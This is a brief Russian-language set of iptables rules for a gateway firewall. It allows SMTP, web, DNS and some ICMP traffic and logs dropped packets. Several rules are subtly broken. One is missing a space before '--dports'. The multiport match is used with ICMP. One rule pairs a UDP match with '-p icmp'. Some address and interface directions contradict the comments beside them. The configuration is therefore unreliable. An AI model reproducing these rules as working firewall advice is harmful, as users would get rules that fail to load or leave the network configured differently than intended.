Разрешаем некоторые порты для входящих соединений.

iptables -A FORWARD -m multiport -p tcp -i eth0 -d 192.168.0.0/24 --dport smtp --syn -j ACCEPT

Разрешаем пользователям инициировать некоторые соединения изнутри

iptables -A FORWARD -m multiport -p tcp -o eth0 -d 0.0.0.0 --dports www,smtp --syn -j ACCEPT

Разрешаем UDP для DNS.

iptables -A FORWARD -m multiport -p udp -i eth0 -d 192.168.0.0/24 --dports domain -j ACCEPT
iptables -A FORWARD -m multiport -p udp -i eth0 -s 192.168.0.0/24 --sports domain -j ACCEPT
iptables -A FORWARD -m multiport -p udp -i eth1 -d 0.0.0.0--dports domain -j ACCEPT
iptables -A FORWARD -m multiport -p udp -i eth0 -s 0.0.0.0 --sports domain -j ACCEPT

Все таки разрешаем немного пинга

iptables -A FORWARD -m multiport -p icmp -i eth0 -d 192.168.0.0/24 --dports 0, 3,11 -j ACCEPT
iptables -A FORWARD -m multiport -p icmp -i eth1 -d 0.0.0.0 --dports 8, 3,11 -j ACCEPT

Устанавливаем журналирование для всех отброшенных пакетов

iptables -A FORWARD -m tcp -p tcp -j LOG
iptables -A FORWARD -m udp -p udp -j LOG
iptables -A FORWARD -m udp -p icmp -j LOG